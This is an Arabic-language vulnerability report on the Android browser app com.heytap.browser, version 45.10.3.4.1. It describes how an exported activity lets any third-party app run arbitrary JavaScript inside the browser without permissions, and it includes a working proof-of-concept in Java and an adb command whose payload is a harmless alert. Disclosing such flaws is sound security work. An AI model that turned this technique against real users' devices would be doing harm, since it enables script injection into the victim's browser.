com.heytap.browser

تقرير الثغرة الأمنية

نظرة عامة:

تم اكتشاف ثغرة أمنية في تطبيق com.heytap.browser على نظام Android. تسمح الثغرة لمهاجم بتنفيذ كود JavaScript تعسفي ضمن سياق التطبيق دون أي أذونات.

تفاصيل التطبيق:

• البائع: - ColorOS
• اسم التطبيق: 'Internet Browser' com.heytap.browser
• الإصدار: 45.10.3.4.1
• المكون: com.android.browser.RealBrowserActivity

تفاصيل الثغرة:

• نوع الثغرة: تنفيذ كود JavaScript
• ناقل الهجوم: عبر مكون نشاط مُصدر (exported activity)
• الأذونات المطلوبة: لا شيء

الوصف:

نشاط com.android.browser.RealBrowserActivity في تطبيق com.heytap.browser هو نشاط مُصدر ويمكن استدعاؤه من قبل أي تطبيق تابع لجهة خارجية دون الحاجة إلى أي أذونات. يمكن لتطبيق ضار استغلال ذلك لتنفيذ كود JavaScript تعسفي ضمن سياق تطبيق com.heytap.browser.

إثبات المفهوم (PoC):

{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }

adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

التأثير:

الاستغلال الناجح يسمح للمهاجم بـ:

• تنفيذ كود JavaScript تعسفي ضمن سياق تطبيق com.heytap.browser.